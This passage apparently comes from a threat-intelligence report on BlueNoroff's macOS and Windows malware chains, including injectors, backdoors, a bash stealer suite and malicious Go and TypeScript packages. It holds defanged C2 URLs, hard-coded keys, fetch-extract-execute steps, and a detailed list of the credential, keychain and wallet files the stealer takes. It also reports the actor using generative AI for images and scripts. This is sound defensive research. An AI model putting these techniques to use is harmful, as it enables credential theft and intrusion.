We identified another version of the loader, distinguished by the configuration path that contains the <BasePath> β this time, the configuration file was located at /Library/Graphics/com.applet.safari/local_log. The second version is used when the actor has gained root-level permissions, likely achieved through ZoomClutch during the initial infection.
CosmicDoor chain
The CosmicDoor chain begins with an injector malware that we have named βGillyInjectorβ written in C++, which was also described by Huntress and SentinelOne. This malware includes an encrypted baseApp and an encrypted malicious payload.
Injector: GillyInjector written in C++
BaseApp: a benign application written in C++ or Swift
Final payload: CosmicDoor.macOS written in Nim
The syscon.zipΒ file downloaded from the file hosting server contains the βaβ binary that has been identified as GillyInjector designed to run a benign Mach-O app and inject a malicious payload into it at runtime. Both the injector and the benign application are ad-hoc signed, similar to ZoomClutch. GillyInjector employs a technique known as Task Injection, a rare and sophisticated method observed on macOS systems.
The injector operates in two modes: wiper mode and injector mode. When executed with the --d flag, GillyInjector activates its destructive capabilities. It begins by enumerating all files in the current directory and securely deleting each one. Once all files in the directory are unrecoverably wiped, GillyInjector proceeds to remove the directory itself. When executed with a filename and password, GillyInjector operates as a process injector. It creates a benign application with the given filename in the current directory and uses the provided password to derive an AES decryption key.
The benign Mach-O application and its embedded payload are encrypted with a customized AES-256 algorithm in ECB mode (although similar to the structure of the OFB mode) and then base64-encoded. To decrypt, the first 16 bytes of the encoded string are extracted as the salt for a PBKDF2 key derivation process. This process uses 10,000 iterations, and a user-provided password to generate a SHA-256-based key. The derived key is then used to decrypt the base64-decoded ciphertext that follows.
Base application and payload decryption
The ultimately injected payload is identified as CosmicDoor.macOS, written in Nim. The main feature of CosmicDoor is that it communicates with the C2 server using the WSS protocol, and it provides remote control functionality such as receiving and executing commands.
Our telemetry indicates that at least three versions of CosmicDoor.macOS have been detected so far, each written in different cross-platform programming languages, includingΒ Rust, Python, and Nim. We also discovered that the Windows variant of CosmicDoor was developed in Go, demonstrating that the threat actor has actively used this malware across both Windows and macOS environments since 2023. Based on our investigation, the development of CosmicDoor likely followed this order: CosmicDoor.Windows in Go β CosmicDoor.macOS in Rust β CosmicDoor in Python β CosmicDoor.macOS in Nim. The Nim version, the most recently identified, stands out from the others primarily due to its updated execution chain, including the use of GillyInjector.
Except for the appearance of the injector, the differences between the Windows version and other versions are not significant. On Windows, the fourth to sixth characters of all RC4 key values are initialized to 123. In addition, the CosmicDoor.macOS version, written in Nim, has an updated value for COMMAND_KEY.
CosmicDoor.macOS in Nim
CosmicDoor in Python, CosmicDoor.macOS in Rust
CosmicDoor.Windows in Go
SESSION_KEY
3LZu5H$yF^FSwPu3SqbL*sK
3LZu5H$yF^FSwPu3SqbL*sK
3LZ123$yF^FSwPu3SqbL*sK
COMMAND_KEY
lZjJ7iuK2qcmMW6hacZOw62
jubk$sb3xzCJ%ydILi@W8FH
jub123b3xzCJ%ydILi@W8FH
AUTH_KEY
Ej7bx@YRG2uUhya#50Yt*ao
Ej7bx@YRG2uUhya#50Yt*ao
Ej7123YRG2uUhya#50Yt*ao
The same command scheme is still in use, but other versions implement only a few of the commands available on Windows. Notably, commands such as 345, 90, and 45Β are listed in the Python implementation of CosmicDoor, but their actual code has not been implemented.
Command
Description
CosmicDoor.macOS in Rust and Nim
CosmicDoor in Python
CosmicDoor.Windows in Go
234
Get device information
O
O
O
333
No operation
β
β
O
44
Update configuration
β
β
O
78
Get current work directory
O
O
O
1
Get interval time
β
β
O
12
Execute commands
O
O
O
34
Set current work directory
O
O
O
345
(DownExec)
β
O (but, not implemented)
β
90
(Download)
β
O (but, not implemented)
β
45
(Upload)
β
O (but, not implemented)
β
SilentSiphon: a stealer suite for harvesting
During our investigation, we discovered that CosmicDoor downloads a stealer suite composed of various bash scripts, which we dubbed βSilentSiphonβ. In most observed infections, multiple bash shell scripts were created on infected hosts shortly after the installation of CosmicDoor. These scripts were used to collect and exfiltrate data to the actorβs C2 servers.
The file named upl.shΒ functions as an orchestration launcher, which aggregates multiple standalone data-extraction modules identified on the victimβs system.
The launcher first uses the command whoβ―|β―tailβ―-n1 | awk '{print $1}'Β to identify the username of the currently logged-in macOS user, thus ensuring that all subsequent file paths are resolved within the ongoing active session β regardless of whether the script is executed by another account or via Launch Agents. However, both the hard-coded C2 server and the username can be modified with the -hΒ and -uΒ flags, a feature consistent with other modules analyzed in this research. The orchestrator executes five embedded modules located in the same directory, removing each immediately after it completes exfiltration.
The stealer suite harvests data from the compromised host as follows:
upl.sh is the orchestrator and Apple Notes stealer.
It targets Apple Notes at /private/var/tmp/group.com.apple.notes.
It stores the data at /private/var/tmp/notes_<username>.
cpl.sh is the browser extension stealer module.
It targets:
Local storage for extensions: the entire βLocal Extension Settingsβ directory of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
Browserβs built-in database: directories corresponding to Exodus Web3 Wallet, Coinbase Wallet extension, Crypto.com Onchain Extension, Manta Wallet, 1Password, and Sui wallet in the βIndexedDBβ directory
Extension list: the list of installed extensions in the βExtensionsβ directory
Stores the data at /private/var/tmp/cpl_<username>/<browser>/*
ubd.sh is the browser credentials and macOS Keychains stealer module.
It targets:
Credentials stored in the browsers: Local State, History, Cookies, Sessions, Web Data, Bookmarks, Login Data, Session Storage, Local Storage, and IndexedDB directories of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
Credentials in the Keychain: /Library/Keychains/System.keychain and ~/Library/Keychains/login.keychain-db
It stores the data at /private/var/tmp/ubd_<username>/*
secrets.sh is the secrets stealer module.
It targets:
Version Control: GitHub (.config/gh), GitLab (.config/glab-cli), and Bitbucket (.bit/config)
DevOps/IaC: CircleCI (.circleci/cli.yml), Pulumi (.pulumi/credentials.json), and HashiCorp (.vault-token)
Security/Authentication: SSH (.ssh) and FTP/cURL/Wget (.netrc)
Blockchain Related: Sui Blockchain (.sui), Solana (.config/solana), NEAR Blockchain (.near-credentials), Aptos Blockchain (.aptos), and Algorand (.algorand)
Container Related: Docker (.docker) and Kubernetes (.kube)
AI: OpenAI (.openai)
It stores the data at /private/var/tmp/secrets_backup_<current time>/<username>/*
uad.sh is the passwordβvault stealer module
It targets:
Password manager: 1Password 8, 1Password 7, Bitwarden, LastPass, and Dashlane
Note-taking: Evernote and Notion
Collaboration suites: Slack
Messenger: Skype (inactive), WeChat (inactive), and WhatsApp (inactive)
Cryptocurrency: Ledger Live, Hiroβ―StacksWallet, Tonkeeper, MyTonWallet, and MetaMask (inactive)
Remote Monitoring and Management: AnyDesk
It stores the data at /private/var/tmp/<username>_<target application>_<current time>/*
utd.sh is the Telegram stealer module
It targets:
On macOS version 14 and later:
Telegramβs cached resources, such as chat history and media files
Encrypted geolocation cache
AES session keys used for account takeover
Legacy sandbox cache
On macOS versions earlier than 14:
List of configured Telegram accounts
Export-key vault
Full chat DB, messages, contacts, files, and cached media
It stores the data at /private/var/tmp/Telegrams_<username>/*
These extremely extensive targets allow the actor to expand beyond simple credentials to encompass their victimsβ entire infrastructure. This includes Telegram accounts exploitable for further attacks, supply chain configuration details, and collaboration tools revealing personal notes and business interactions with other users. Notably, the attackers even target the .openai folder to secretly use ChatGPT with the userβs account.
The collected information is immediately archived with the ditto -ckΒ command and uploaded to the initialized C2 server via curlΒ command, using the same approach as in ZoomClutch.
RooTroy chain
We identified a ZIP archive downloaded from the file hosting server that contains a three-component toolset. The final payload, RooTroy.macOS, was also documented in the HuntressβsΒ blog, but we were able to obtain its full chain. The archive includes the following:
Installer: the primary installer file named "rtv4inst", written in Go
Loader: an auxiliary loader file named "st" and identified as the Nimcore loader, written in Nim
Injector: an injector file named "wt", which is identified as GillyInjector, written in C++
Final payload: RooTroy.macOS, written in Go
Upon the execution of the installer, it immediately checks for the presence of other components and terminates if any are missing. Additionally, it verifies that it has accepted at least two command-line arguments to function properly, as follows.
rvt4inst <MID> <C2> [<Additional C2 domainsβ¦>]
MIDβ―(Machineβ―ID): unique identifier for victim tracking
C2: primary commandβandβcontrol domain
Additional C2 values can be supplied
On the first launch, the installer creates several directories and files that imitate legitimate macOS components. Note that these paths are abused only for camouflage; none are genuine system locations.
The installer uses the hardβcoded key 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2AΒ to serialize its runtime parameters into an RC4βencrypted blob. The resulting encrypted value is written as .cfgΒ inside /Library/Google/Cache/.
The installer then implements a naming mechanism for the plist name through dynamic bundle ID generation, where it scans legitimate applications in /ApplicationsΒ to create convincing identifiers. It enumerates .appΒ bundles, extracts their names, and combines them with service-oriented terms like βagentβ, βwebhelperβ, βupdateβ, βupdaterβ, βstartupβ, βserviceβ, βclouddβ, βdaemonβ, βkeystone.agentβ, βupdate.agentβ, or βinstallerβ to construct bundle IDs, such as βcom.safari.updateβ or βcom.chrome.serviceβ. If the bundle ID generation process fails for any reason, the malware defaults to βcom.apple.updatecheckβ as a hard-coded fallback identifier.
The installer then deploys the auxiliary binaries from the ZIP extraction directory to their final system locations. The Nimcore loader (st) is copied to /Library/Application Support/Logitechs/bin/Update Check. The GillyInjector binary is renamed to cpumonsΒ in the /Library/Storage/CPU path. Both files receive 0755 permissions to ensure executability.
Later, a persistence mechanism is implemented through macOS Launch Daemon plists. The plist template contains four placeholder fields that are filled in during generation:
The LabelΒ field receives the dynamically generated bundle ID.
The SERVER_AUTH_KEY environment variable is populated with the GillyInjectorβs path /Library/Storage/CPU/cpumons that is RC4-encrypted using the hard-coded key "yniERNUgGUHuAhgCzMAi"Β and then base64-encoded.
The CLIENT_AUTH_KEY environment variable receives the hard-coded value "..".
The Program field points to the installed Nimcore loaderβs path.
The installer completes the persistence setup by using legitimate launchctl commands to activate the persistence mechanism, ensuring the Nimcore loader is executed. It first runs βlaunchctl unload <bundle ID>.plistβ on any existing plist with the same name to remove previous instances, then executes βlaunchctl load <bundle ID>.plistβ to activate the new persistence configuration through /bin/zsh -c.
The second stage in this execution chain is the Nimcore loader, which is deployed by the installer and specified in the Program field of the plist file. This loader reads the SERVER_AUTH_KEY environment variable with getenv(), base64-decodes the value, and decrypts it with the same RC4 key used by the installer. The loader is able to retrieve the necessary value because both SERVER_AUTH_KEY and CLIENT_AUTH_KEY are provided in the plist file and filled in by the installer. After decryption, it invokes posix_spawn() to launch GillyInjector.
GillyInjector is the third component in the RooTroy chain and follows the same behavior as described in the CosmicDoor chain. In this instance, however, the password used for generation is hard-coded as xy@bomb# within the component. The baseApp is primarily responsible for displaying only a simple message and acts as a carrier to keep the injected final payload in memory during runtime.
The final payload is identified as RooTroy.macOS, written in Go. Upon initialization, RooTroy.macOS reads its configuration from /Library/Google/Cache/.cfg, a file created by the primary installer, and uses the RC4 algorithm with the same 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A key to decrypt it. If it fails to read the config file, it removes all files at /Library/Google/Cache and exits.
As the payload is executed at every boot time via a plist setup, it prevents duplicate execution by checking the .pid file in the same directory. If a process ID is found in the file, it terminates the corresponding process and writes the current process ID into the file. Additionally, it writes the string {"rt": "4.0.0."} into the .version file, also located in the same directory, to indicate the current version. This string is encrypted using RC4 with the key C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF.
This backdoor executes commands from the /Library/Google/Cache/.startup file line by line. Each line is executed via /bin/zsh -c "[command]"Β in a separate process. It also monitors the userβs login status and re-executes the commands when the user logs back in after being logged out.
Next, RooTroy collects and lists all mounted volumes and running processes. It then enters an infinite loop, repeatedly re-enumerating the volumes to detect any changes β such as newly connected USB drives, network shares, or unmounted devices β and uses a different function to identify changes in the list of processes since the last iteration. It sends the collected information to the C2 server via a POST request to /updateΒ endpoint with Content-Type: application/json.
The data field in the response from the C2 server is executed directly via AppleScript with osascript -e. When both the urlΒ and authΒ fields are present, RooTroy connects to the URL with GETΒ method and the AuthorizationΒ header to retrieve additional files. Then it sleeps for five seconds and repeats the process.
Additional files are loaded as outlined below:
Generate a random 10-character file name in the temp directory: /private/tmp/[random-chars]{10}.zip.
Save the downloaded data to that file path.
Extract the ZIP file using ditto -xk /private/tmp/[random-chars]{10}.zip /private/tmp/[random-chars]{10}.
Make the file executable using chmod +x /private/tmp/[random-chars]{10}/install.
Likely install additional components by executing /bin/zsh /private/tmp/[random-chars]{10}/install /private/tmp/[random-chars]{10} /private/tmp/[random-chars]{10}/.result.
Check the .resultΒ file for the string βsuccessβ.
Send result to /reportΒ endpoint.
Increment the cidΒ field and save the configuration.
Clean up all temp files.
We also observed the RooTroy backdoor deploying files named keyboarddΒ to the /Library/keyboardΒ directory and airmond to the /Library/airplayΒ path, which were confirmed to be a keylogger and an infostealer.
RealTimeTroy chain
We recently discovered GillyInjector containing an encrypted RealTimeTroy.macOS payload from the public multiscanning service.
Injector: GillyInjector written in C++
baseApp: the file named βChromeUpdatesβ in the same ZIP file (not secured)
Final payload: RealTimeTroy.macOS, written in Go
RealTimeTroy is a straightforward backdoor written in the Go programming language that communicates with a C2 server using the WSS protocol. We have secured both versions of this malware. In the second version, the baseApp named βChromeUpdatesβ should be bundled along with the injector into a ZIP file. While the baseApp data is included in the same manner as in other GillyInjector instances, it is not actually used. Instead, the ChromeUpdatesΒ file is copied to the path specified as the first parameter and executed as the base application for the injection.
This will be explained in more detail in the GhostHire campaign section as the payload RealTimeTroy.macOS performs actions identical to the Windows version, with some differences in the commands. Like the Windows version, it injects the payload upon receiving command 16. However, it uses functionality similar to GillyInjector to inject the payload received from the C2. The password for AES decryption and the hardcoded baseApp within RealTimeTroy have been identified as being identical to the ones contained within the existing GillyInjector (MD5 76ACE3A6892C25512B17ED42AC2EBD05).
Additionally, two new commands have been added compared to the Windows version, specifically for handling commands via the pseudo-terminal. Commands 20Β and 21 are used to respectively spawn and exit the terminal, which is used for executing commands received from command 8.
We found the vcs.time metadata within the second version of RealTimeTroy.macOS, which implies the commit time of this malware, and this value was set to 2025-05-29T12:22:09Z.
SneakMain chain
During our investigation into various incidents, we were able to identify another infection chain involving the macOS version of SneakMain in the victimsβ infrastructures. Although we were not able to secure the installer malware, it would operate similar to the RooTroy chain, considering the behavior of its loader.
Installer: the primary installer (not secured)
Loader: Identified as Nimcore loader, written in Nim
Final payload: SneakMain.macOS, written in Nim
The Nimcore loader reads the SERVER_AUTH_KEY and CLIENT_AUTH_KEY environment variables upon execution. Given the flow of the RooTroy chain, we can assume that these values are provided through the plist file installed by an installer component. Next, the values are base64-decoded and then decrypted using the RC4 algorithm with the hard-coded key vnoknknklfewRFRewfjkdlIJDKJDF, which is consistently used throughout the SneakMain chain. The decrypted SERVER_AUTH_KEY value should represent the path to the next payload to be executed by the loader, while the decrypted CLIENT_AUTH_KEY value is saved to the configuration file located at /private/var/tmp/cfg.
We have observed that this loader was installed under the largest number of various names among malware as follows:
The payload loaded by the Nimcore loader has been identified as SneakMain.macOS, written in the Nim programming language. Upon execution, it reads its configuration from /private/var/tmp/cfg, which is likely created by the installer. The configurationβs original contents are recovered through RC4 decryption with the same key and base64 decoding. In the configuration, a C2 URL and machine ID (mid) are concatenated with the pipe character (β|β). Then SneakMain.macOS constructs a JSON object containing this information, along with additional fields such as the malwareβs version, current time, and process list, which is then serialized and sent to the C2 server. The request includes the header Content-Type: application/json.
As a response, the malware receives additional AppleScript commands and uses the osascript -e command to execute them. If it fails to fetch the response, it tries to connect to a default C2 server every minute. There are two URLs hard-coded into the malware: hxxps://file-server[.]store/update and hxxps://cloud-server[.]store/update.
One interesting external component of this chain is the configuration updater. This updater verifies the presence of the configuration file and updates the C2 server address to hxxps://flashserve[.]store/update with the same encryption method, while preserving the existing mid value. Upon a successful update, it outputs the updated configuration to standard output.
Beside the Nim-based chain, we also identified a previous version of the SneakMain.macOS binary, written in Rust. This version only consists of a launcher and the Rust-based SneakMain. It is expected to create a corresponding plist for regular execution, but this has not yet been discovered. The Rust version supports two execution modes:
With arguments: the malware uses the C2 server and mid as parameters
Without arguments: the malware loads an encrypted configuration file located at /Library/Scripts/Folder Actions/Check.plist
This version collects a process list only at a specific time during execution, without checking newly created or terminated processes. The collected list is then sent to the C2 server via a POST request to hxxps://chkactive[.]online/update, along with the current time (uid) and machine ID (mid), using the Content-Type: application/json header. Similarly, it uses the osascript -eΒ command to execute commands received from the C2 server.
DownTroy v2 chain
The DownTroy.macOS v2 infection chain is the latest variant, composed of four components, with the payload being an AppleScript and the rest written in Nim. It was already covered by SentinelOne under the name of βNimDoorβ. The Nimcore loader in this chain masquerades as Google LLC, using an intentional typo by replacing the βlβ (lowercase βLβ) in βGoogle LLCβ with an βIβ (uppercase βiβ).
Installer: the primary installer file named "installer", written in Nim
Dropper: a dropper file named "CoreKitAgent", written in Nim
Loader: an auxiliary loader file named "GoogIe LLC"Β and identified as Nimcore loader, written in Nim
Final payload: DownTroy.macOS, written in AppleScript
The installer, which is likely downloaded and initiated by a prior malicious script, serves as the entry point for this process. The dropper receives an interrupt (SIGINT) or termination signal (SIGTERM) like in the DownTroy v1 chain, recreating the components on disk to recover them. Notably, while the previously described RooTroy and SneakMain chains do not have this recovery functionality, we have observed that they configure plist files to automatically execute the Nimcore loader after one hour if the process terminates, and they retain other components. This demonstrates how the actor strategically leverages DownTroy chains to operate more discreetly, highlighting some of the key differences between each chain.
The installer should be provided with one parameter and will exit if executed without it. It then copies ./CoreKitAgent and ./GoogIe LLCΒ from the current location to ~/Library/CoreKit/CoreKitAgentΒ and ~/Library/Application Support/Google LLC/GoogIe LLC, respectively. Inside of the installer, com.google.update.plist (the name of the plist) is hard-coded to establish persistence, which is later referenced by the dropper and loader. The installer then concatenates this value, the given parameter, and the dropperβs filename into a single string, separated by a pipe (β|β).
This string is encrypted using the AES algorithm with a hard-coded key and IV, and the resulting encrypted data is then saved to the configuration file.
It fulfills its function by ultimately executing the copied dropper located at ~/Library/CoreKit/CoreKitAgent.
The dropper in the DownTroy v2 chain uses macOSβs kqueue alongside Nimβs async runtime to manage asynchronous control flow, similar to CosmicDoor, the Nimcore loader in the RooTroy chain, and the Nim version of SneakMain.macOS. The dropper monitors events via kqueue, and when an event is triggered, it resumes the corresponding async tasks through a state machine managed by Nim. The primary functionality is implemented in state 1 of the async state machine.
The dropper then reads the encrypted configuration from /private/tmp/.configΒ and decrypts it using the AES algorithm with the hard-coded key and IV, which are identical to those used in the installer. By splitting the decrypted data with a β|β, it extracts the loader path, the plist path, and the parameter provided to the installer. Next, it reads all the contents of itself and the loader, and deletes them along with the plist file in order to erase any trace of their existence. When the dropper is terminated, a handler function is triggered that utilizes the previously read contents to recreate itself and the loader file. In addition, a hard-coded hex string is interpreted as ASCII text, and the decoded content is written to the plist file path obtained from the configuration.
In the contents above, variables enclosed in %βs are replaced with different strings based on hard-coded values and configurations. Both authentication key variables are stored as encrypted strings with the same AES algorithm as used for the configuration.
The core functionality of this loader is to generate an AppleScript file using a hard-coded hex string and save it as .ses in the same directory. The script, identified as DownTroy.macOS, is designed to download an additional malicious script from a C2 server. It is nearly identical to the one used in the DownTroy v1 chain, with the only differences being the updated C2 servers and the curl command option.
We have observed three variants of this chain, all of which ultimately deploy the DownTroy.macOS malware but communicate with different C2 servers. Variant 1 communicates with the same C2 server as the one configured in the DownTroy v1 chain, though it appears in a hex-encoded form.
curl βconnect-timeout 30 βmax-time 60 βno-buffer -X POST -H
The configuration file path used by variant 1 is the same as that of SneakMain. This indicates that the actor transitioned from the SneakMain chain to the DownTroy chain while enhancing their tools, and this variantβs dropper is identified as an earlier version that reads the plist file directly.
SysPhon chain
Unlike other infection chains, the SysPhon chain incorporates an older set of malware: the lightweight version of RustBucket and the known SugarLoader. According to a blog post by Field Effect, the actor deployed the lightweight version of RustBucket, which we dubbed βSysPhonβ, alongside suspected SugarLoader malware and its loader, disguised as a legitimate Wi-Fi updater. Although we were unable to obtain the suspected SugarLoader malware sample or the final payloads, we believe with medium-low confidence that this chain is part of the same campaign by BlueNoroff. This assessment is based on the use of icloud_helper (a tool used for stealing user passwords) and the same initial infection vector as before: a fake Zoom link. Itβs not surprising, as both malicious tools have already been attributed to BlueNoroff, indicating that the tools were adapted for the campaign.
Considering the parameters and behavior outlined in the blog post above, an AppleScript script deployed icloud_helperΒ to collect the userβs password and simultaneously installed the SysPhon malware. The malware then downloaded SugarLoader, which connected to the C2 server and port pair specified as a parameter. This ultimately resulted in the download of a launcher to establish persistence. Given this execution flow and SugarLoaderβs historical role in retrieving the KANDYKORN malware, it is likely that the final payload in the chain would be KANDYKORN or another fully-featured backdoor.
SysPhon is a downloader written in C++ that functions similarly to the third component of the RustBucket malware, which was initially developed in Rust and later rewritten in Swift. In March 2024, an ELF version of the third component compatible with Linux was uploaded to a multi-scanner service. In November 2024, SentinelOne reported on SysPhon, noting that it is typically distributed via a parent downloader that opens a legitimate PDF related to cryptocurrency topics. Shortly after the report, a Go version of SysPhon was also uploaded to the same scanner service.
SysPhon requires a C2 server specified as a parameter to operate. When executed, it generates a 16-byte random ID and retrieves the host name. It then enters a loop to conduct system reconnaissance by executing a series of commands:
The results of these commands are then sent to the specified C2 server inside a POST request with the following User-Agent header: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0). This User-Agent is the same as the one used in the Swift implementation of the RustBucket variant.
After sending the system reconnaissance data to the C2 server, SysPhon waits for commands. It determines its next action by examining the first character of the response it receives. If the response begins with 0, SysPhon executes the binary payload; if itβs 1, the downloader exits.
AI-powered attack strategy
While the video feeds for fake calls were recorded via the fabricated Zoom phishing pages the actor created, the profile images of meeting participants appear to have been sourced from job platforms or social media platforms such as LinkedIn, Crunchbase, or X. Interestingly, some of these images were enhanced with GPT-4o. Since OpenAI implemented the C2PA standard specification metadata to identify the generated images as artificial, the images created via ChatGPT include metadata that indicates their synthetic origin, which is embedded in file formats such as PNGs.
EXIF metadata of images generated by GPT-4o
Among these were images whose filenames were set to the targetβs name. This indicates the actor likely used the targetβs publicly available profile image to generate a suitable profile for use alongside the recorded video. Furthermore, the inclusion of Zoomβs legitimate favicon image leads us to assess with medium-high confidence that the actor is leveraging AI for image enhancement.
Victimβs profile image enhanced using GPT-4o
In addition, the secrets stealer module of SilentSiphon, secrets.sh, includes several comment lines. One of them uses a checkmark emoticon to indicate archiving success, although the comment was related to the backup being completed. Since threat actors rarely use comments, especially emoticons, in malware intended for real attacks, we suggest that BlueNoroff uses generative AI to write malicious scripts similar to this module. We assume they likely requested a backup script rather than an exfiltration script.
Comments that appear to be AI-generated in the secrets stealer module
The GhostHire campaign
The GhostHire campaign was less visible than GhostCall, but it also began as early as mid-2023, with its latest wave observed recently. It overlaps with the GhostCall campaign in terms of infrastructure and tools, but instead of using video calls, the threat actors pose as fake recruiters to target developers and engineers. The campaign is disguised as skill assessment to deliver malicious projects, exploiting Telegram bots and GitHub as delivery vehicles. Based on historical attack cases of this campaign, we assess with medium confidence that this attack flow involving Telegram and GitHub represents the latest phase, which started no later than April this year.
Initial access
The actor initiates communication with the target directly on Telegram. Victims receive a message with a job offer along with a link to a LinkedIn profile that impersonates a senior recruiter at a financial services company based in the United States.
Fake LinkedIn profile
We observed that the actor uses a Telegram Premium account to enhance their credibility by employing a custom emoji sticker featuring the companyβs logo. They attempt to make the other party believe they are in contact with a legitimate representative.
Fake Telegram account
During the investigation, we noticed suspicious changes made to the Telegram account, such as a shift from the earlier recruiter persona to impersonating individuals associated with a Web3 multi-gaming application. The actor even changed their Telegram handle to remove the previous connection.
The same Telegram account changed to impersonate a Web3 company founder
During the early stages of our research and ongoing monitoring of publicly available malicious repositories, we observed a blog post published by a publicly cited target. In this post, the author shares their firsthand experience with a scam attempt involving the same malicious repositories we already identified. It provided us with valuable insight into how the group initiates contact with a target and progresses through a fake interview process.
Following up on initial communication, the actor adds the target to a user list for a Telegram bot, which displays the impersonated companyβs logo and falsely claims to streamline technical assessments for candidates. The bot then sends the victim an archive file (ZIP) containing a coding assessment project, along with a strict deadline (often around 30 minutes) to pressure the target into quickly completing the task. This urgency increases the likelihood of the target executing the malicious content, leading to initial system compromise.
The project delivered through the ZIP file appears to be a legitimate DeFi-related project written in Go, aiming at routing cryptocurrency transactions across various protocols. The main project code relies on an external malicious dependency specified in the go.modΒ file, rather than embedding malicious code directly into the projectβs own files. The external project is named uniroute. It was published in the official Go packages repository on April 9, 2025.
We had observed this same repository earlier in our investigation, prior to identifying the victimβs blog post, which later validated our findings. In addition to the Golang repository, we discovered a TypeScript-based repository uploaded to GitHub that has the same download function.
Uniroute malicious package is referenced via go.mod in the DeFi-related project
Upon execution of the project, the malicious package is imported, and the GetUniRoute() function is called during the initialization of the unirouter at the following path: contracts/UniswapUniversalRouter.go. This function call acts as the entry point for the malicious code.
The main malicious logic is implemented in the following files:
uniroute.go: the main entry point
win.go: Windows-specific malicious code
lin.go: Linux-specific malicious code
dar.go: macOS (Darwin)-specific malicious code
The main entry point of the package includes a basic base64-encoded blob that is decoded to a URL hosting the second-stage payload: hxxps://download.datatabletemplate[.]xyz/account/register/id=8118555902061899&secret=QwLoOZSDakFh.
Base64-encoded C2 URL in the malicious package
When the User-Agent of the running platform is detected, the corresponding payload is retrieved and executed. The package utilizes Go build tags to execute different code depending on the operating system.
Windows (win.go). Downloads its payload to %TEMP%\init.ps1Β and performs anti-antivirus checks by looking for the presence of the 360 Security process. If the 360 antivirus is not detected, the malware generates an additional VBScript wrapper at %TEMP%\init.vbs. The PowerShell script is then covertly executed with a bypassed execution policy, without displaying any windows to the user.
Linux (lin.go). Downloads its payload to /tmp/init and runs it as a bash script with nohup, ensuring the process continues running even after the parent process terminates.
macOS (dar.go). Similarly to Linux, downloads its payload to /tmp/initΒ and uses osascript with nohup to execute it.
We used our open source package monitoring tool to discover that the actor had published several malicious Go packages with behavior similar to uniroute. These packages are imported into repositories and executed within a specific section of the code.
Package
Version
Published date
Role
sorttemplate
v1.1.1 ~ v1.1.5
Jun 11, 2024 ~ Apr 17, 2025
Malicious dependency
sort
v1.1.2 ~ v1.1.7
Nov 10, 2024 ~ Apr 17, 2025
Refers to the malicious sorttemplate
sorttemplate
v1.1.1
Jan 10, 2025
Malicious dependency
uniroute
v1.1.1 ~ v2.1.5
Apr 2, 2025 ~ Apr 9, 2025
Malicious dependency
BaseRouter
β
Apr 5, 2025 ~ Apr 7, 2025
Malicious dependency
Malicious TypeScript project
Not only did we observe attacks involving malicious Golang packages, but we also identified a malicious Next.js project written in TypeScript and uploaded to GitHub. This project includes TypeScript source code for an NFT-related frontend task. The project acts in a similar fashion to the Golang ones, except that there is no dependency. Instead, a malicious TypeScript file within the project downloads the second-stage payload from a hardcoded URL.
Malicious TypeScript-based project
The malicious behavior is implemented in pages/api/hello.ts, and the hello API is fetched by NavBar.tsx with fetch('/api/hello').
Upon accessing the URL with the correct User-Agent, corresponding scripts are downloaded for each OS: PowerShell for Windows, bash script for Linux, and AppleScript for macOS, which all turned out to be the DownTroy malware. It is the same as the final payload in the DownTroy chains from the GhostCall campaign and has been expanded to include versions for both Windows and Linux. In the GhostHire campaign, this script serves as the initial downloader, fetching various malware chains from a file hosting server.
DownTroy delivery process
Over the course of tracking this campaign, we have observed multiple gradual updates to these DownTroy scripts. The final version shows that the PowerShell code is XOR-encrypted, and the AppleScript has strings split by individual characters. Additionally, all three DownTroy strains collect comprehensive system information including OS details, domain name, host name, username, proxy settings, and VM detection alongside process lists.
Full infection chain on Windows
In January 2025, we identified a victim who had executed a malicious TypeScript project located at <company name>-wallet-portfolio, which followed the recruiter persona from the financial company scenario described earlier. The subsequent execution of the malicious script created the files init.vbs and init.ps1 in the %temp% directory.
The DownTroy script (init.ps1) was running to download additional malware from an external server every 30 seconds. During the attack, two additional script files, chsplitobf.ps1 and sinst.bat, were downloaded and executed on the infected host. Though we werenβt able to obtain the files, based on our detection, we assess the PowerShell script harvests credentials stored in a browser, similar to SilentSiphon on macOS.
In addition, in the course of the attack, several other payloads written in Go and Rust rather than scripts, were retrieved from the file hosting server dataupload[.]storeΒ and executed.
Overall Windows infection chain
New method for payload delivery
In contrast to GhostCall, DownTroy.Windows would retrieve a base64-encoded binary blob from the file hosting server and inject it into the cmd.exe process after decoding. This blob typically consists of metadata, a payload, and the loader code responsible for loading the payload. The first five bytes of the blob represent a CALL instruction that invokes the loader code, followed by 0x48 bytes of metadata. The loader, which is 0xD6B bytes in size, utilizes the metadata to load the payload into memory. The payload is written to newly allocated space, then relocated, and its import address table (IAT) is rebuilt from the same metadata. Finally, the payload is executed with the CreateThread function.
Binary blob structure
The metadata contains some of the fields from PE file format, such as an entry point of the payload, imagebase, number of sections, etc, needed to dynamically load the payload. The payload is invoked by the loader by referencing the metadata stored separately, so it has a corrupted COFF header when loaded. Generally, payloads in PE file format should have a legitimate header with the corresponding fields, but in this case, the top 0x188 bytes of the PE header of the payload are all filled with dummy values, making it difficult to analyze and detect.
UAC bypass
We observed that the first thing the actor deployed after DownTroy was installed was the User Account Control (UAC) bypass tool. The first binary blob fetched by DownTroy contained the payload bypassing UAC that used a technique disclosed in 2019 by the Google Project Zero team. This RPC-based UAC bypass leveraging the 201ef99a-7fa0-444c-9399-19ba84f12a1a interface was also observed in the KONNI malware execution chain in 2021. However, the process that obtains the privilege had been changed from Taskmgr.exe to Computerdefaults.exe.
The commands executed through this technique are shown below. In this case, this.exe is replaced by the legitimate explorer.exe due to parent PID spoofing.
In other words, the actor was able to run DownTroy with elevated privileges, which is the starting point for all further actions. It also executed init.vbs, the launcher that runs DownTroy, with elevated privileges.
RooTroy.Windows in Go
RooTroy.Windows is the first non-scripted malware installed on an infected host. It is a simple downloader written in Go, same to the malware used in the GhostCall campaign. Based on our analysis of RooTroyβs behavior and execution flow, it was loaded and executed by a Windows service named NetCheckSvc.
